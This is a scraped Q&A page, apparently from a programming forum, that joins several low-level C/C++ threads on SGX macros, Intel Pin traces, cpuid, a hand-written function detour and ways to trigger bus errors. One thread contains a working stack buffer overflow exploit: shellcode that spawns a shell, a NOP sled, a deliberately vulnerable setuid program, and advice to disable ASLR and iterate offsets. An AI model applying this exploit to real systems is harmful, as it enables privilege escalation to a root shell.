What is the SGX_CDECL macro? - c++

I'm trying to understand how to create my own sgx application, so I'm scrutinizing SDK samples.
I'd like to know what the usage of SGX_CDECL is?
in the sample below as well as in general
/* Application entry */
int SGX_CDECL main(int argc, char *argv[])
{
(void)(argc);
(void)(argv);
/* Initialize the enclave */
if(initialize_enclave() < 0){
printf("Enter a character before exit ...\n");
getchar();
return -1;
}
/* Utilize edger8r attributes */
edger8r_array_attributes();
edger8r_pointer_attributes();
edger8r_type_attributes();
edger8r_function_attributes();
/* Utilize trusted libraries */
ecall_libc_functions();
ecall_libcxx_functions();
ecall_thread_functions();
/* Destroy the enclave */
sgx_destroy_enclave(global_eid);
printf("Info: SampleEnclave successfully returned.\n");
printf("Enter a character before exit ...\n");
getchar();
return 0;
}

Have a look at https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl
cdecl, subroutine arguments are passed on the stack. Integer values and memory addresses are returned in the EAX register, floating point values in the ST0 x87 register. Registers EAX, ECX, and EDX are caller-saved, and the rest are callee-saved.

Related

Why does the pin count only three blocks in trace?

I want to list all traces with the blocks they contain, using intel pin. But, as a result, I have a maximum of three blocks in the trace, although there should be more. Tell me, please, why is that so? Thanks in advance!
#include "pin.H"
#include <stdio.h>
using namespace std;
FILE* traceFile;
UINT32 traceNumber = 0;
VOID Trace(TRACE trace, VOID* v)
{
UINT32 blockNumber = 0;
// print trace info
fprintf(traceFile, "Trace [%d]: %p, number of blocks: %d\n", traceNumber, TRACE_Address(trace), TRACE_NumBbl(trace));
for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl))
{
// print block info
fprintf(traceFile, "\nBlock [%d]: %p, insts in block: %d\n\n",
blockNumber, BBL_Address(bbl), BBL_NumIns(bbl));
// print all insts in block
for (INS ins = BBL_InsHead(bbl); INS_Valid(ins); ins = INS_Next(ins))
fprintf(traceFile, "%p: %s\n", INS_Address(ins), INS_Disassemble(ins).c_str());
blockNumber++;
}
fprintf(traceFile, "\nTrace [%d] end. %s", traceNumber,
"\n---------------------------------------------------\n\n");
traceNumber++;
}
void Fini(INT32 code, void* v) {
fclose(traceFile);
}
int main(int argc, char* argv[])
{
traceFile = fopen("itrace.out", "w");
PIN_InitSymbols();
PIN_Init(argc, argv);
TRACE_AddInstrumentFunction(Trace, 0);
PIN_AddFiniFunction(Fini, 0);
PIN_StartProgram();
return 0;
}
For example, there are only three blocks here, although I expected to see more:
Trace [4]: 0x7722de32, number of blocks: 3
Block [0]: 0x7722de32, insts in block: 2
0x7722de32: test eax, eax
0x7722de34: jnz 0x77279708
Block [1]: 0x7722de3a, insts in block: 3
0x7722de3a: movzx eax, byte ptr [0x7ffe0384]
0x7722de41: test eax, eax
0x7722de43: jnz 0x7727971d
Block [2]: 0x7722de49, insts in block: 2
0x7722de49: cmp dword ptr [ebp-0x24], ebx
0x7722de4c: jnz 0x7722de5b
Trace [4] end.
---------------------------------------------------
Shouldn't there be 5 blocks here? Apparently, I don’t understand something about blocks and traces. I didn’t see anywhere in the logs that the number of blocks in traces is more than three, for some reason.
in the debugger I see at least 4 blocks
I want to list all traces with the blocks they contain, using intel pin. But, as a result, I have a maximum of three blocks in the trace, although there should be more. Tell me, please, why is that so? Thanks in advance!

bufferover exploit not working on gcc

I was trying to run this buffer overflow exploit on a vulnerable code vuln.c on gcc (I found this on some tutorial and code is not mine).The shellcode spawns a shell.
exploit.c code
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void) // This is just a little function
{ __asm__("movl %esp, %eax");} // used to return the stack pointer
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0; // Use an offset of 0
esp = sp(); // Put the current stack pointer into esp
ret = esp - offset; // We want to overwrite the ret address
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);
// Allocate 600 bytes for buffer (on the heap)
buffer = malloc(600);
// Fill the entire buffer with the desired ret address
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
// Fill the first 200 bytes of the buffer with NOP instructions
for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }
// Put the shellcode after the NOP sled
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
// End the string
buffer[600-1] = 0;
// Now call the program ./vuln with our crafted buffer as its argument
execl("./vuln", "vuln", buffer, 0);
// Free the buffer memory
free(buffer);
return 0;
}
This exploit is for the vulnerable code vuln.c:
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
But when I run it using ./exploit it gives a segmentation fault instead of opening the shell.I used the commands:
sudo chown root vuln
sudo chmod +s vuln
ls -l vuln
gcc -fno-stack-protector -o vuln vuln.c
./vuln
gcc -o exploit exploit.c
./exploit
It shows the result:
(gdb) run
Starting program: /home/a/exploit
Stack pointer (ESP) : 0xbffff338
Offset from ESP : 0x0
Desired Return Addr : 0xbffff338
process 4669 is executing new program: /home/a/vuln
Program received signal SIGSEGV, Segmentation fault.
0xbffff338 in ?? ()
(gdb) info registers
eax 0x0 0
ecx 0xbfe3f5a0 -1075579488
edx 0xbfe3dca8 -1075585880
ebx 0xb76e4ff4 -1217507340
esp 0xbfe3dc60 0xbfe3dc60
ebp 0xbffff338 0xbffff338
esi 0x0 0
edi 0x0 0
eip 0xbffff338 0xbffff338
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
Please tell me where the problem lies...
Your problem lies in the address you are jumping to....
That exploit does NOT use memory leaks, so it is supposed to be run in a system that does not support ASLR.
Once ASLR is disabled in your system, you have to run the exploit N times until jumping to the right shellcode address...
Function sp() returns the esp on this process, but it may change depending on the backtrace and the process... so you will have to increment a value until reaching the right address.....
Conclusion:
disable ASLR
add an offset getting iterated each time and add it to the esp value before is used
Good luck!!!!

How do I call "cpuid" in Linux?

While writing new code for Windows, I stumbled upon _cpuinfo() from the Windows API. As I am mainly dealing with a Linux environment (GCC) I want to have access to the CPUInfo.
I have tried the following:
#include <iostream>
int main()
{
int a, b;
for (a = 0; a < 5; a++)
{
__asm ( "mov %1, %%eax; " // a into eax
"cpuid;"
"mov %%eax, %0;" // eax into b
:"=r"(b) // output
:"r"(a) // input
:"%eax","%ebx","%ecx","%edx" // clobbered register
);
std::cout << "The CPUID level " << a << " gives EAX= " << b << '\n';
}
return 0;
}
This use assembly but I don't want to re-invent the wheel. Is there any other way to implement CPUInfo without assembly?
Since you are compiling with GCC then you can include cpuid.h which declares these functions:
/* Return highest supported input value for cpuid instruction. ext can
be either 0x0 or 0x8000000 to return highest supported value for
basic or extended cpuid information. Function returns 0 if cpuid
is not supported or whatever cpuid returns in eax register. If sig
pointer is non-null, then first four bytes of the signature
(as found in ebx register) are returned in location pointed by sig. */
unsigned int __get_cpuid_max (unsigned int __ext, unsigned int *__sig)
/* Return cpuid data for requested cpuid level, as found in returned
eax, ebx, ecx and edx registers. The function checks if cpuid is
supported and returns 1 for valid cpuid information or 0 for
unsupported cpuid level. All pointers are required to be non-null. */
int __get_cpuid (unsigned int __level,
unsigned int *__eax, unsigned int *__ebx,
unsigned int *__ecx, unsigned int *__edx)
You don't need to, and should not, re-implement this functionality.
for (a =0; a < 5; ++a;)
There should only be two semicolons there. You've got three.
This is basic C/C++ syntax; the CPUID is a red herring.

My trampoline won't bounce (detouring, C++, GCC)

It feels like I'm abusing Stackoverflow with all my questions, but it's a Q&A forum after all :) Anyhow, I have been using detours for a while now, but I have yet to implement one of my own (I've used wrappers earlier). Since I want to have complete control over my code (who doesn't?) I have decided to implement a fully functional detour'er on my own, so I can understand every single byte of my code.
The code (below) is as simple as possible, the problem though, is not. I have successfully implemented the detour (i.e a hook to my own function) but I haven't been able to implement the trampoline.
Whenever I call the trampoline, depending on the offset I use, I get either a "segmentation fault" or an "illegal instruction". Both cases ends the same though; 'core dumped'. I think it is because I've mixed up the 'relative address' (note: I'm pretty new to Linux so I have far from mastered GDB).
As commented in the code, depending on sizeof(jmpOp)(at line 66) I either get an illegal instruction or a segmentation fault. I'm sorry if it's something obvious, I'm staying up way too late...
// Header files
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>
#include "global.h" // Contains typedefines for byte, ulong, ushort etc...
#include <cstring>
bool ProtectMemory(void * addr, int flags)
{
// Constant holding the page size value
const size_t pageSize = sysconf(_SC_PAGE_SIZE);
// Calculate relative page offset
size_t temp = (size_t) addr;
temp -= temp % pageSize;
// Update address
addr = (void*) temp;
// Update memory area protection
return !mprotect(addr, pageSize, flags);
}
const byte jmpOp[] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };
int Test(void)
{
printf("This is testing\n");
return 5;
}
int MyTest(void)
{
printf("This is ******\n");
return 9;
}
typedef int (*TestType)(void);
int main(int argc, char * argv[])
{
// Fetch addresses
byte * test = (byte*) &Test;
byte * myTest = (byte*) &MyTest;
// Call original
Test();
// Update memory access for 'test' function
ProtectMemory((void*) test, PROT_EXEC | PROT_WRITE | PROT_READ);
// Allocate memory for the trampoline
byte * trampoline = new byte[sizeof(jmpOp) * 2];
// Do copy operations
memcpy(trampoline, test, sizeof(jmpOp));
memcpy(test, jmpOp, sizeof(jmpOp));
// Setup trampoline
trampoline += sizeof(jmpOp);
*trampoline = 0xE9;
// I think this address is incorrect, how should I calculate it? With the current
// status (commented 'sizeof(jmpOp)') the compiler complains about "Illegal Instruction".
// If I uncomment it, and use either + or -, a segmentation fault will occur...
*(uint*)(trampoline + 1) = ((uint) test - (uint) trampoline)/* + sizeof(jmpOp)*/;
trampoline -= sizeof(jmpOp);
// Make the trampoline executable (and read/write)
ProtectMemory((void*) trampoline, PROT_EXEC | PROT_WRITE | PROT_READ);
// Setup detour
*(uint*)(test + 1) = ((uint) myTest - (uint) test) - sizeof(jmpOp);
// Call 'detoured' func
Test();
// Call trampoline (crashes)
((TestType) trampoline)();
return 0;
}
In case of interest, this is the output during a normal run (with the exact code above):
This is testing
This is **
Illegal instruction (core dumped)
And this is the result if I use +/- sizeof(jmpOp) at line 66:
This is testing
This is ******
Segmentation fault (core dumped)
NOTE: I'm running Ubuntu 32 bit and compile with g++ global.cpp main.cpp -o main -Iinclude
You're not going to be able to indiscriminately copy the first 5 bytes of Test() into your trampoline, followed by a jump to the 6th instruction byte of Test(), because you don't know if the first 5 bytes comprise an integral number of x86 variable-length instructions. To do this, you're going to have to do at least a minimal amount of automated disassembling of the Test() function in order to find an instruction boundary that's 5 or more bytes past the beginning of the function, then copy an appropriate number of bytes to your trampoline, and THEN append your jump (which won't be at a fixed offset within your trampoline). Note that on a typical RISC processor (like PPC), you wouldn't have this problem, as all instructions are the same width.

How to get a "bus error"?

I am trying very hard to get a bus error.
One way is misaligned access and I have tried the examples given here and here, but no error for me - the programs execute just fine.
Is there some situation which is sure to produce a bus error?
This should reliably result in a SIGBUS on a POSIX-compliant system.
#include <unistd.h>
#include <stdio.h>
#include <sys/mman.h>
int main() {
FILE *f = tmpfile();
int *m = mmap(0, 4, PROT_WRITE, MAP_PRIVATE, fileno(f), 0);
*m = 0;
return 0;
}
From the Single Unix Specification, mmap:
References within the address range starting at pa and continuing for len bytes to whole pages following the end of an object shall result in delivery of a SIGBUS signal.
Bus errors can only be invoked on hardware platforms that:
Require aligned access, and
Don't compensate for an unaligned access by performing two aligned accesses and combining the results.
You probably do not have access to such a system.
Try something along the lines of:
#include <signal.h>
int main(void)
{
raise(SIGBUS);
return 0;
}
(I know, probably not the answer you want, but it's almost sure to get you a "bus error"!)
As others have mentioned this is very platform specific. On the ARM system I'm working with (which doesn't have virtual memory) there are large portions of the address space which have no memory or peripheral assigned. If I read or write one of those addresses, I get a bus error.
You can also get a bus error if there's actually a hardware problem on the bus.
If you're running on a platform with virtual memory, you might not be able to intentionally generate a bus error with your program unless it's a device driver or other kernel mode software. An invalid memory access would likely be trapped as an access violation or similar by the memory manager (and it never even has a chance to hit the bus).
on linux with an Intel CPU try this:
int main(int argc, char **argv)
{
# if defined i386
/* enable alignment check (AC) */
asm("pushf; "
"orl $(1<<18), (%esp); "
"popf;");
# endif
char d[] = "12345678"; /* yep! - causes SIGBUS even on Linux-i386 */
return 0;
}
the trick here is to set the "alignment check" bit in one of the CPUs "special" registers.
see also: here
I am sure that you must be using x86 machines.
X86 cpu does not generate bus error unless its AC flag in EFALAGS register is set.
Try this code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void)
{
char *p;
__asm__("pushf\n"
"orl $0x40000, (%rsp)\n"
"popf");
/*
* malloc() always provides aligned memory.
* Do not use stack variable like a[9], depending on the compiler you use,
* a may not be aligned properly.
*/
p = malloc(sizeof(int) + 1);
memset(p, 0, sizeof(int) + 1);
/* making p unaligned */
p++;
printf("%d\n", *(int *)p);
return 0;
}
More about this can be found at http://orchistro.tistory.com/206
Also keep in mind that some operating systems report "bus error" for errors other than misaligned access. You didn't mention in your question what it was you were actually trying to acheive. Maybe try thus:
int *x = 0;
*x=1;
the Wikipedia page you linked to mentions that access to non-existant memory can also result is a bus error. You might have better luck with loading a known-invalid address into a pointer and dereferwncing that.
How about this? untested.
#include<stdio.h>
typedef struct
{
int a;
int b;
} busErr;
int main()
{
busErr err;
char * cPtr;
int *iPtr;
cPtr = (char *)&err;
cPtr++;
iPtr = (int *)cPtr;
*iPtr = 10;
}
int main(int argc, char **argv)
{
char *bus_error = new char[1];
for (int i=0; i<1000000000;i++) {
bus_error += 0xFFFFFFFFFFFFFFF;
*(bus_error + 0xFFFFFFFFFFFFFF) = 'X';
}
}
Bus error: 10 (core dumped)
Simple, write to memory that isn't yours:
int main()
{
char *bus_error = 0;
*bus_error = 'X';
}
Instant bus error on my PowerPC Mac [OS X 10.4, dual 1ghz PPC7455's], not necessarily on your hardware and/or operating system.
There's even a wikipedia article about bus errors, including a program to make one.
For 0x86 arch:
#include <stdio.h>
int main()
{
#if defined(__GNUC__)
# if defined(__i386__)
/* Enable Alignment Checking on x86 */
__asm__("pushf\norl $0x40000,(%esp)\npopf");
# elif defined(__x86_64__)
/* Enable Alignment Checking on x86_64 */
__asm__("pushf\norl $0x40000,(%rsp)\npopf");
# endif
#endif
int b = 0;
int a = 0xffffff;
char *c = (char*)&a;
c++;
int *p = (int*)c;
*p = 10; //Bus error as memory accessed by p is not 4 or 8 byte aligned
printf ("%d\n", sizeof(a));
printf ("%x\n", *p);
printf ("%x\n", p);
printf ("%x\n", &a);
}
Note:If asm instructions are removed, code wont generate the SIGBUS error as suggested by others.
SIGBUS can occur for other reason too.
Bus errors occur if you try to access memory that is not addressable by your computer. For example, your computer's memory has an address range 0x00 to 0xFF but you try to access a memory element at 0x0100 or greater.
In reality, your computer will have a much greater range than 0x00 to 0xFF.
To answer your original post:
Tell me some situation which is sure to produce a bus error.
In your code, index into memory way outside the scope of the max memory limit. I dunno ... use some kind of giant hex value 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF indexed into a char* ...